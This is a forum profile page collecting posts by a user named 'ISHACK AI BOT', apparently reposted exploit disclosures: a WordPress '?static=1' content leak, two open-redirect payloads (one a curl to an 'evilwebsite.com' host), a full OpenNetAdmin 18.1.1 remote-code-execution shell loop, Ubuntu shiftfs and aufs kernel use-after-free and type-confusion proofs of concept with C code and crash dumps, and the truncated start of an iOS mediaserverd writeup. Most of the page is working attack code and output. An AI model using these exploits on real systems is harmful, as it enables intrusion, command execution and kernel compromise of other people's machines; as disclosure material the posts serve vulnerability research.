跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. So far we know that adding `?static=1` to a wordpress URL should leak its secret content Here are a few ways to manipulate the returned entries: - `order` with `asc` or `desc` - `orderby` - `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc` will show the secret content:
  2. The trick is to use a vertical tab (`%09`) and then place another URL in the tag. So once a victim clicks the link on the error page, she will go somewhere else. As you can see, the browser changes the destination from relative / to an absolute url https://enoflag.de. The exploit is `http://domain.tld/%09//otherdomain.tld` Here's the httpd configuration to reproduce the behavior: ``` <Location /> ProxyPass http://127.0.0.1:9000/ connectiontimeout=1 timeout=2 ProxyPassReverse http://127.0.0.1:9000/ Order allow,deny Allow from all </Location> ```
  3. Normal URLs like http://redirect.local/test will be forwared to https://redirect.local/test. But by using newlines (CVE 2019-10098), we can redirect somewhere else (i.e. to `https://redirect.local.evilwebsite.com`): ``` curl -Ik 'https://redirect.local/%0a.evilwebsite.com' --path-as-is HTTP/2 302 date: Mon, 28 Oct 2019 03:36:58 GMT content-type: text/html; charset=iso-8859-1 location: https://redirect.local.evilwebsite.com ```
  4. # Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution # Date: 2019-11-19 # Exploit Author: mattpascoe # Vendor Homepage: http://opennetadmin.com/ # Software Link: https://github.com/opennetadmin/ona # Version: v18.1.1 # Tested on: Linux # Exploit Title: OpenNetAdmin v18.1.1 RCE # Date: 2019-11-19 # Exploit Author: mattpascoe # Vendor Homepage: http://opennetadmin.com/ # Software Link: https://github.com/opennetadmin/ona # Version: v18.1.1 # Tested on: Linux #!/bin/bash URL="${1}" while true;do echo -n "$ "; read cmd curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1 done
  5. Tested on Ubuntu 19.10, kernel "5.3.0-19-generic #20-Ubuntu". Ubuntu ships a filesystem "shiftfs" in fs/shiftfs.c in the kernel tree that doesn't exist upstream. This filesystem can be mounted from user namespaces, meaning that this is attack surface from unprivileged userspace in the default installation. There are two memory safety bugs around shiftfs_btrfs_ioctl_fd_replace(). #################### Bug 1: Flawed reference counting #################### In shiftfs_btrfs_ioctl_fd_replace() ("//" comments added by me): src = fdget(oldfd); if (!src.file) return -EINVAL; // src holds one reference (assuming multithreaded execution) ret = shiftfs_real_fdget(src.file, lfd); // lfd->file is a file* now, but shiftfs_real_fdget didn't take any // extra references fdput(src); // this drops the only reference we were holding on src, and src was // the only thing holding a reference to lfd->file. lfd->file may be // dangling at this point. if (ret) return ret; *newfd = get_unused_fd_flags(lfd->file->f_flags); if (*newfd < 0) { // always a no-op fdput(*lfd); return *newfd; } fd_install(*newfd, lfd->file); // fd_install() consumes a counted reference, but we don't hold any // counted references. so at this point, if lfd->file hasn't been freed // yet, its refcount is one lower than it ought to be. [...] // the following code is refcount-neutral, so the refcount stays one too // low. if (ret) shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2); shiftfs_real_fdget() is implemented as follows: static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd) { struct shiftfs_file_info *file_info = file->private_data; struct file *realfile = file_info->realfile; lowerfd->flags = 0; lowerfd->file = realfile; /* Did the flags change since open? */ if (unlikely(file->f_flags & ~lowerfd->file->f_flags)) return shiftfs_change_flags(lowerfd->file, file->f_flags); return 0; } Therefore, the following PoC will cause reference count overdecrements; I ran it with SLUB debugging enabled and got the following splat: ======================================= user@ubuntu1910vm:~/shiftfs$ cat run.sh #!/bin/sh sync unshare -mUr ./run2.sh t run2user@ubuntu1910vm:~/shiftfs$ cat run2.sh #!/bin/sh set -e mkdir -p mnt/tmpfs mkdir -p mnt/shiftfs mount -t tmpfs none mnt/tmpfs mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs mount|grep shift touch mnt/tmpfs/foo gcc -o ioctl ioctl.c -Wall ./ioctl user@ubuntu1910vm:~/shiftfs$ cat ioctl.c #include <sys/ioctl.h> #include <fcntl.h> #include <err.h> #include <unistd.h> #include <linux/btrfs.h> #include <sys/mman.h> int main(void) { int root = open("mnt/shiftfs", O_RDONLY); if (root == -1) err(1, "open shiftfs root"); int foofd = openat(root, "foo", O_RDONLY); if (foofd == -1) err(1, "open foofd"); struct btrfs_ioctl_vol_args iocarg = { .fd = foofd }; ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg); sleep(1); void *map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0); if (map != MAP_FAILED) munmap(map, 0x1000); } user@ubuntu1910vm:~/shiftfs$ ./run.sh none on /home/user/shiftfs/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000) /home/user/shiftfs/mnt/tmpfs on /home/user/shiftfs/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2) [ 183.463452] general protection fault: 0000 [#1] SMP PTI [ 183.467068] CPU: 1 PID: 2473 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu [ 183.472170] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014 [ 183.476830] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs] [ 183.478524] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00 [ 183.484585] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206 [ 183.486290] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000 [ 183.489617] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400 [ 183.491975] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000 [ 183.494311] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0 [ 183.496675] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40 [ 183.499011] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000 [ 183.501679] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 183.503568] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0 [ 183.505901] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 183.508229] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 183.510580] Call Trace: [ 183.511396] mmap_region+0x417/0x670 [ 183.512592] do_mmap+0x3a8/0x580 [ 183.513655] vm_mmap_pgoff+0xcb/0x120 [ 183.514863] ksys_mmap_pgoff+0x1ca/0x2a0 [ 183.516155] __x64_sys_mmap+0x33/0x40 [ 183.517352] do_syscall_64+0x5a/0x130 [ 183.518548] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 183.520196] RIP: 0033:0x7f1d01bfaaf6 [ 183.521372] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61 [ 183.527210] RSP: 002b:00007ffdf50bae98 EFLAGS: 00000246 ORIG_RAX: 0000000000000009 [ 183.529582] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007f1d01bfaaf6 [ 183.531811] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000 [ 183.533999] RBP: 0000000000000000 R08: 0000000000000004 R09: 0000000000000000 [ 183.536199] R10: 0000000000000001 R11: 0000000000000246 R12: 00005616cf6f5140 [ 183.538448] R13: 00007ffdf50bbfb0 R14: 0000000000000000 R15: 0000000000000000 [ 183.540714] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm irqbypass snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core crct10dif_pclmul snd_hwdep crc32_pclmul ghash_clmulni_intel snd_pcm aesni_intel snd_seq_midi snd_seq_midi_event aes_x86_64 crypto_simd snd_rawmidi cryptd joydev input_leds snd_seq glue_helper qxl snd_seq_device snd_timer ttm drm_kms_helper drm snd fb_sys_fops syscopyarea sysfillrect sysimgblt serio_raw qemu_fw_cfg soundcore mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover psmouse ahci i2c_i801 libahci lpc_ich virtio_blk failover [ 183.560350] ---[ end trace 4a860910803657c2 ]--- [ 183.561832] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs] [ 183.563496] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00 [ 183.569438] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206 [ 183.571102] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000 [ 183.573362] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400 [ 183.575655] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000 [ 183.577893] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0 [ 183.580166] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40 [ 183.582411] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000 [ 183.584960] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 183.586796] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0 [ 183.589035] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 183.591279] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 ======================================= Disassembly of surrounding code: 55 push rbp 4889E5 mov rbp,rsp 4157 push r15 4156 push r14 4155 push r13 4154 push r12 488B87C8000000 mov rax,[rdi+0xc8] 4C8B6810 mov r13,[rax+0x10] 498B4528 mov rax,[r13+0x28] 4883786000 cmp qword [rax+0x60],byte +0x0 <-- GPF HERE 0F8497000000 jz near 0xcc 4989FC mov r12,rdi 4989F6 mov r14,rsi This is an attempted dereference of 0x6b6b6b6b6b6b6b6b, which is POISON_FREE; I think this corresponds to the load of "realfile->f_op->mmap" in the source code. #################### Bug 2: Type confusion #################### shiftfs_btrfs_ioctl_fd_replace() calls fdget(oldfd), then without further checks passes the resulting file* into shiftfs_real_fdget(), which does this: static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd) { struct shiftfs_file_info *file_info = file->private_data; struct file *realfile = file_info->realfile; lowerfd->flags = 0; lowerfd->file = realfile; /* Did the flags change since open? */ if (unlikely(file->f_flags & ~lowerfd->file->f_flags)) return shiftfs_change_flags(lowerfd->file, file->f_flags); return 0; } file->private_data is a void* that points to a filesystem-dependent type; and some filesystems even use it to store a type-cast number instead of a pointer. The implicit cast to a "struct shiftfs_file_info *" can therefore be a bad cast. As a PoC, here I'm causing a type confusion between struct shiftfs_file_info (with ->realfile at offset 0x10) and struct mm_struct (with vmacache_seqnum at offset 0x10), and I use that to cause a memory dereference somewhere around 0x4242: ======================================= user@ubuntu1910vm:~/shiftfs_confuse$ cat run.sh #!/bin/sh sync unshare -mUr ./run2.sh user@ubuntu1910vm:~/shiftfs_confuse$ cat run2.sh #!/bin/sh set -e mkdir -p mnt/tmpfs mkdir -p mnt/shiftfs mount -t tmpfs none mnt/tmpfs mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs mount|grep shift gcc -o ioctl ioctl.c -Wall ./ioctl user@ubuntu1910vm:~/shiftfs_confuse$ cat ioctl.c #include <sys/ioctl.h> #include <fcntl.h> #include <err.h> #include <unistd.h> #include <linux/btrfs.h> #include <sys/mman.h> int main(void) { // make our vmacache sequence number something like 0x4242 for (int i=0; i<0x4242; i++) { void *x = mmap((void*)0x100000000UL, 0x1000, PROT_READ, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); if (x == MAP_FAILED) err(1, "mmap vmacache seqnum"); munmap(x, 0x1000); } int root = open("mnt/shiftfs", O_RDONLY); if (root == -1) err(1, "open shiftfs root"); int foofd = open("/proc/self/environ", O_RDONLY); if (foofd == -1) err(1, "open foofd"); // trigger the confusion struct btrfs_ioctl_vol_args iocarg = { .fd = foofd }; ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg); } user@ubuntu1910vm:~/shiftfs_confuse$ ./run.sh none on /home/user/shiftfs_confuse/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000) /home/user/shiftfs_confuse/mnt/tmpfs on /home/user/shiftfs_confuse/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2) [ 348.103005] BUG: unable to handle page fault for address: 0000000000004289 [ 348.105060] #PF: supervisor read access in kernel mode [ 348.106573] #PF: error_code(0x0000) - not-present page [ 348.108102] PGD 0 P4D 0 [ 348.108871] Oops: 0000 [#1] SMP PTI [ 348.109912] CPU: 6 PID: 2192 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu [ 348.112109] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014 [ 348.114460] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs] [ 348.116166] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75 [ 348.121578] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246 [ 348.123097] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249 [ 348.125174] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004 [ 348.127222] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150 [ 348.129288] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401 [ 348.131358] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004 [ 348.133421] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000 [ 348.135753] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 348.137413] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0 [ 348.139451] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 348.141516] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 348.143545] Call Trace: [ 348.144272] shiftfs_ioctl+0x65/0x76 [shiftfs] [ 348.145562] do_vfs_ioctl+0x407/0x670 [ 348.146620] ? putname+0x4a/0x50 [ 348.147556] ksys_ioctl+0x67/0x90 [ 348.148514] __x64_sys_ioctl+0x1a/0x20 [ 348.149593] do_syscall_64+0x5a/0x130 [ 348.150658] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 348.152108] RIP: 0033:0x7f77fa76767b [ 348.153140] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e5 27 0d 00 f7 d8 64 89 01 48 [ 348.158466] RSP: 002b:00007ffd875582e8 EFLAGS: 00000217 ORIG_RAX: 0000000000000010 [ 348.160610] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f77fa76767b [ 348.162644] RDX: 00007ffd87558310 RSI: 0000000050009401 RDI: 0000000000000003 [ 348.164680] RBP: 00007ffd87559320 R08: 00000000ffffffff R09: 0000000000000000 [ 348.167456] R10: 0000000000000000 R11: 0000000000000217 R12: 0000561c135ee100 [ 348.169530] R13: 00007ffd87559400 R14: 0000000000000000 R15: 0000000000000000 [ 348.171573] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm snd_hda_codec_generic irqbypass ledtrig_audio crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec ghash_clmulni_intel snd_hda_core snd_hwdep aesni_intel aes_x86_64 snd_pcm crypto_simd cryptd glue_helper snd_seq_midi joydev snd_seq_midi_event snd_rawmidi snd_seq input_leds snd_seq_device snd_timer serio_raw qxl snd ttm drm_kms_helper mac_hid soundcore drm fb_sys_fops syscopyarea sysfillrect qemu_fw_cfg sysimgblt sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid psmouse i2c_i801 ahci virtio_net lpc_ich libahci net_failover failover virtio_blk [ 348.188617] CR2: 0000000000004289 [ 348.189586] ---[ end trace dad859a1db86d660 ]--- [ 348.190916] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs] [ 348.193401] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75 [ 348.198713] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246 [ 348.200226] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249 [ 348.202257] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004 [ 348.204294] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150 [ 348.206324] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401 [ 348.208362] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004 [ 348.210395] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000 [ 348.212710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 348.214365] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0 [ 348.216409] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 348.218349] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Killed user@ubuntu1910vm:~/shiftfs_confuse$ =======================================
  6. Tested on 19.10. Ubuntu's aufs kernel patch includes the following change (which I interestingly can't see in the AUFS code at https://github.com/sfjro/aufs5-linux/blob/master/mm/mmap.c): ================================================================== +#define vma_fput(vma) vma_do_fput(vma, __func__, __LINE__) [...] @@ -1847,8 +1847,8 @@ unsigned long mmap_region(struct file *file, unsigned long addr, return addr; unmap_and_free_vma: + vma_fput(vma); vma->vm_file = NULL; - fput(file); /* Undo any partial mapping done by a device driver. */ unmap_region(mm, vma, prev, vma->vm_start, vma->vm_end); [...] +void vma_do_fput(struct vm_area_struct *vma, const char func[], int line) +{ + struct file *f = vma->vm_file, *pr = vma->vm_prfile; + + prfile_trace(f, pr, func, line, __func__); + fput(f); + if (f && pr) + fput(pr); +} ================================================================== This means that in the case where call_mmap() returns an error to mmap_region(), fput() will be called on the current value of vma->vm_file instead of the saved file pointer. This matters if the ->mmap() handler replaces ->vm_file before returning an error code. overlayfs and shiftfs do that when call_mmap() on the lower filesystem fails, see ovl_mmap() and shiftfs_mmap(). To demonstrate the issue, the PoC below mounts a shiftfs that is backed by a FUSE filesystem with the FUSE flag FOPEN_DIRECT_IO, which causes fuse_file_mmap() to bail out with -ENODEV if MAP_SHARED is set. I would have used overlayfs instead, but there is an unrelated bug that makes it impossible to mount overlayfs inside a user namespace: Commit 82c0860106f264 ("UBUNTU: SAUCE: overlayfs: Propogate nosuid from lower and upper mounts") defines SB_I_NOSUID as 0x00000010, but SB_I_USERNS_VISIBLE already has the same value. This causes mount_too_revealing() to bail out with a WARN_ONCE(). Note that this PoC requires the "bindfs" package and should be executed with "slub_debug" in the kernel commandline to get a clear crash. ================================================================== Ubuntu 19.10 user-Standard-PC-Q35-ICH9-2009 ttyS0 user-Standard-PC-Q35-ICH9-2009 login: user Password: Last login: Fr Nov 1 23:45:36 CET 2019 on ttyS0 Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-19-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 0 updates can be installed immediately. 0 of these updates are security updates. user@user-Standard-PC-Q35-ICH9-2009:~$ ls aufs-mmap Documents Music Public trace.dat Desktop Downloads Pictures Templates Videos user@user-Standard-PC-Q35-ICH9-2009:~$ cd aufs-mmap/ user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-5.3.0-19-generic root=UUID=f7d8d4fb-0c96-498e-b875-0b777127a332 ro console=ttyS0 slub_debug quiet splash vt.handoff=7 user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run.sh #!/bin/sh sync unshare -mUr ./run2.sh user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run2.sh #!/bin/bash set -e mount -t tmpfs none /tmp mkdir -p /tmp/{lower,middle,upper} touch /tmp/lower/foo # mount some random FUSE filesystem with direct_io, # doesn't really matter what it does as long as # there's a file in it. # (this is just to get some filesystem that can # easily be convinced to throw errors from f_op->mmap) bindfs -o direct_io /tmp/lower /tmp/middle # use the FUSE filesystem to back shiftfs. # overlayfs would also work if SB_I_NOSUID and # SB_I_USERNS_VISIBLE weren't defined to the same # value... mount -t shiftfs -o mark /tmp/middle /tmp/upper mount|grep shift gcc -o trigger trigger.c -Wall ./trigger user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat trigger.c #include <fcntl.h> #include <err.h> #include <unistd.h> #include <sys/mman.h> #include <stdio.h> int main(void) { int foofd = open("/tmp/upper/foo", O_RDONLY); if (foofd == -1) err(1, "open foofd"); void *badmap = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0); if (badmap == MAP_FAILED) { perror("badmap"); } else { errx(1, "badmap worked???"); } sleep(1); mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0); } user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ ./run.sh /tmp/middle on /tmp/upper type shiftfs (rw,relatime,mark) badmap: No such device [ 72.101721] general protection fault: 0000 [#1] SMP PTI [ 72.111917] CPU: 1 PID: 1376 Comm: trigger Not tainted 5.3.0-19-generic #20-Ubuntu [ 72.124846] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014 [ 72.140965] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs] [ 72.149210] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00 [ 72.167229] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202 [ 72.170426] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000 [ 72.174528] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900 [ 72.177790] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000 [ 72.181199] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790 [ 72.186306] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740 [ 72.189705] FS: 00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000 [ 72.193073] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 72.195390] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0 [ 72.198237] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 72.200557] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 72.202815] Call Trace: [ 72.203712] mmap_region+0x417/0x670 [ 72.204868] do_mmap+0x3a8/0x580 [ 72.205939] vm_mmap_pgoff+0xcb/0x120 [ 72.207954] ksys_mmap_pgoff+0x1ca/0x2a0 [ 72.210078] __x64_sys_mmap+0x33/0x40 [ 72.211327] do_syscall_64+0x5a/0x130 [ 72.212538] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 72.214177] RIP: 0033:0x7faa3ecc7af6 [ 72.215352] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61 [ 72.222275] RSP: 002b:00007ffd0fc44c68 EFLAGS: 00000246 ORIG_RAX: 0000000000000009 [ 72.224714] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007faa3ecc7af6 [ 72.228123] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000 [ 72.230913] RBP: 0000000000000000 R08: 0000000000000003 R09: 0000000000000000 [ 72.233193] R10: 0000000000000001 R11: 0000000000000246 R12: 0000556248213100 [ 72.235448] R13: 00007ffd0fc44d70 R14: 0000000000000000 R15: 0000000000000000 [ 72.237681] Modules linked in: shiftfs intel_rapl_msr snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi intel_rapl_common crct10dif_pclmul crc32_pclmul ghash_clmulni_intel aesni_intel aes_x86_64 crypto_simd snd_seq cryptd glue_helper joydev input_leds serio_raw snd_seq_device snd_timer snd qxl ttm soundcore qemu_fw_cfg drm_kms_helper drm fb_sys_fops syscopyarea sysfillrect sysimgblt mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover failover ahci psmouse lpc_ich i2c_i801 libahci virtio_blk [ 72.257673] ---[ end trace 5d85e7b7b0bae5f5 ]--- [ 72.259237] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs] [ 72.260990] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00 [ 72.269615] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202 [ 72.271414] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000 [ 72.273893] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900 [ 72.276354] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000 [ 72.278796] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790 [ 72.281095] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740 [ 72.284048] FS: 00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000 [ 72.287161] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 72.289164] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0 [ 72.291953] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 72.294487] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 ================================================================== Faulting code: 0000000F 55 push rbp 00000010 4889E5 mov rbp,rsp 00000013 4157 push r15 00000015 4156 push r14 00000017 4155 push r13 00000019 4154 push r12 0000001B 488B87C8000000 mov rax,[rdi+0xc8] 00000022 4C8B6810 mov r13,[rax+0x10] 00000026 498B4528 mov rax,[r13+0x28] 0000002A 4883786000 cmp qword [rax+0x60],byte +0x0 <<<< GPF HERE 0000002F 0F8497000000 jz near 0xcc 00000035 4989FC mov r12,rdi 00000038 4989F6 mov r14,rsi As you can see, the poison value 6b6b6b6b6b6b6b6b is being dereferenced.
  7. mediaserverd has various media parsing responsibilities; its reachable from various sandboxes and is able to talk to interesting kernel drivers so is a valid target in an exploit chain. One of the services it vends is com.apple.audio.AudioFileServer, a fairly simple XPC service which will parse audio files on behalf of clients and send them the raw bytes. Files are opened via their ipod-library:// URL; for the purposes of this PoC you will need to ensure there is at least one audio file in the iTunes library (I've used one of my highschool band's MP3s, available on request, it's not that bad!) The files are actually parsed by the AudioFileReadPacketData method; here's the prototype from the docs: OSStatus AudioFileReadPacketData(AudioFileID inAudioFile, Boolean inUseCache, UInt32 *ioNumBytes, AudioStreamPacketDescription *outPacketDescriptions, SInt64 inStartingPacket, UInt32 *ioNumPackets, void 